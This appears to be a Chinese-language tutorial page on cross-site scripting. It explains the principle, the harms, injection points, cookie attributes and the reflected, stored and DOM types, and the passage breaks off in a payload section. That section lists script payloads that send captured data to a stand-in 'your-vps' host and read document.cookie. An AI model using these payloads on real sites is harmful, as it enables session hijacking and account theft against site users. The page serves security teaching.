XSS

 

XSS原理

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。

XSS危害

攻击者通过web应用程序发送恶意代码,一般通过浏览器脚本的形式发送给不同的终端用户,当一个Web程序的用户输入点没有进行校验和编码,将很容易导致XSS

  1. 盗取各类用户帐号权限(控制所盗窃权限数据内容),如机器登录帐号、用户网银帐号、各类管理员帐号
  2. 窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作
  3. 劫持用户(浏览器)会话,从而执行任意操作,比如非法转账、强制发表日志、电子邮箱等…
  4. 强制弹出广告页面、刷流量等等…
  5. 网页挂马
  6. 进行恶意操作,比如篡改页面信息、删除文章等;
  7. 进行大量的客户端攻击,比如ddos
  8. 获取客户端信息,比如用户的浏览历史、真实ip、开发端口等;
  9. 控制受害者机器向其他网站发起攻击
  10. 结合csrf漏洞实施进一步危害
  11. 提升用户权限,包括进一步危害
  12. 传播跨站脚本蠕虫等

容易出现xss的地方

数据交互点

get、post、cookies、headers
反馈与浏览
富文本编辑器
各种标签插入和自定义

数据输出的地方

用户资料
关键字、标签、说明
文件上传

cookie是指某些网站为了辨别用户身份而存储在客户端上的数据(经常通过加密).只要有了某个用户的cookie,就能以它的身份登录

Cookie 主要有以下用途:

会话管理:登陆、购物车等应该记住的其他内容

个性化:用户偏好、主题或者其他设置

追踪:记录和分析用户行为

发生跨域xhr请求的时候,即使请求的url的域名和路径都满足cookie的domain和path、默认情况下cookie也不会自动被添加到请求头部

Name: Cookie的名字
Value: Cookie的值
Domain: 该Cookie属于哪个域,只有这个域和其下级目录能获取该cookie
Path: 该Cookie所属路径,只有这个路径和其下目录可以获取该cookie
Expires/Max-Age: Cookie的有效期
Httponly: 如果设置了该值,则cookie不能被js读取
Secure: 该Cookie仅能有HTTPS协议传输
SameSite: 用于定义cookie如何跨域发送,可以防止csrf攻击

补充

xss用于是攻击浏览器的,并不是攻击服务器.浏览器(前端)也并没有权限去写入文件,这个是交给后端去做的.

XSS 分类

反射型xss

存储型xss

可以存储到数据库,危害性最大大

Dom型xss

DOM是文档对象模型,是HTML文档的对象标识,同时也是外部内容(例如JavaScript)与HTML元素之间的接口

和反射性

XSS Payload

外带

在服务器上监听端口

<!-- 打开一个新窗口,外带数据 -->
<script>window.open("your-vps+{xss获取的内容}")</script>
<!-- 页面跳转到你的服务器,外带数据 -->
<script>window.location.href="your-vps+{xss获取的内容}"</script>

获取cookie

<script>alert(document.cookie)</script>
<!-- base64编码 -->
<script>btoa(document.cookie)</script>
<script>